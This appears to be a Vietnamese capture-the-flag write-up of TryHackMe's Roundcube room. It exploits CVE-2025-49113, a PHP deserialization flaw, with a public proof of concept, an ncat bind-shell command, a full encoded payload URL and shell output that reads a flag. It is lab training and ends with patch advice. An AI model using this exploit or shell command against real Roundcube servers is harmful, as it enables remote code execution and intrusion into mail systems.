TryHackMe - Roundcube
Khai thác lỗ hổng CVE-2025-49113 trong môi trường phòng thí nghiệm
Giới thiệu
Room này muốn chúng ta hiểu cách các lỗ hổng deserialization hoạt động. Serialization biến một đối tượng, chẳng hạn trong PHP, Java hoặc Python, thành một định dạng có thể lưu trữ hoặc gửi đi. Deserialization thực hiện quá trình ngược lại - nhưng nếu dữ liệu đầu vào không được kiểm tra đúng cách, kẻ tấn công có thể lợi dụng nó để thực thi mã độc hại.
Kirill Firsov đã phát hiện một lỗ hổng như vậy trong Roundcube Webmail. Vấn đề nằm trong upload.php, nơi tham số _from không được xác thực an toàn trước khi thực hiện deserialization. Các commit cho phiên bản 1.5.10 và 1.6.11 cho thấy cách họ vá lỗ hổng - bằng cách bổ sung kiểm tra để chặn các ký tự không an toàn trong _from.
Nmap
Có vẻ như chúng ta đã được cung cấp đường dẫn chính xác và thông tin đăng nhập, vì vậy không cần sử dụng Nmap.
Khai thác
Hãy truy cập http://10.10.191.67/roundcube theo hướng dẫn.
Chúng ta sẽ thấy biểu mẫu đăng nhập Roundcube:
Hãy sử dụng thông tin đăng nhập được cung cấp:
Tên người dùng: ellieptic
Mật khẩu: ChangeMe123
Hãy tải exploit Proof of Concept xuống:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ git clone https://github.com/fearsoff-org/CVE-2025-49113
Cloning into 'CVE-2025-49113'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (8/8), 7.33 KiB | 3.67 MiB/s, done.
Resolving deltas: 100% (1/1), done.
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ cd CVE-2025-49113/
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ ls
CVE-2025-49113.php rc_install.sh README.md
Thực thi exploit
Để chạy exploit, chúng ta cần thêm các đối số như sau:
php CVE-2025-49113.php target_url username password command
Vì vậy, hãy thực thi lệnh và chờ nó chạy:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ php CVE-2025-49113.php http://10.10.191.67/roundcube ellieptic ChangeMe123 "ncat -lvnp 4444 -e /bin/bash"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: ellieptic
### Authentication successful
### Command to be executed:
ncat -lvnp 4444 -e /bin/bash
### Injecting payload...
### End payload: http://10.10.191.67/roundcube/?_from=edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C73%C70%C7%3A%C7%22%C7n%C7c%C7a%C7t%C7+%C7-%C7l%C7v%C7n%C7p%C7+%C74%C74%C74%C74%C7+%C7-%C7e%C7+%C7%2F%C7b%C7i%C7n%C7%2F%C7b%C7a%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload
### Payload injected successfully
### Executing payload...
PHP Warning: file_get_contents(http://10.10.191.67/roundcube/): Failed to open stream: HTTP request failed! in /home/rene/tryhackme/roundcube/CVE-2025-49113/CVE-2025-49113.php on line 237
### Error: CSRF token not found in response body
Chúng ta có thể thấy rằng dù xuất hiện lỗi, lệnh Netcat vẫn được thực thi và chúng ta có thể kết nối cũng như chạy lệnh:
1
2
3
4
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ nc 10.10.191.67 4444
pwd
/var/www/html/roundcube
Câu hỏi: Một trong những người dùng có tên là Maggie; họ của cô ấy là gì?
1
2
3
4
5
6
7
8
cd /home
ls
algorithm
ellieptic
maggiebyte
terrybyte
testuser
ubuntu
Câu trả lời:
1
Byte
Câu hỏi: Giá trị của flag được lưu trong /etc là gì?
1
2
cd /etc
cat flag.txt
Lỗ hổng này chỉ yêu cầu thông tin đăng nhập webmail hợp lệ và hoạt động trên các bản cài đặt Roundcube mặc định. Nó khó bị phát hiện vì lưu lượng khai thác có thể trông hoàn toàn bình thường. Do mức độ nghiêm trọng của lỗ hổng, người dùng đang chạy phiên bản 1.5.x hoặc 1.6.x nên nâng cấp lên 1.5.10 hoặc 1.6.11. Nếu không thể cập nhật, một biện pháp khắc phục tạm thời là chặn quyền truy cập vào upload.php.



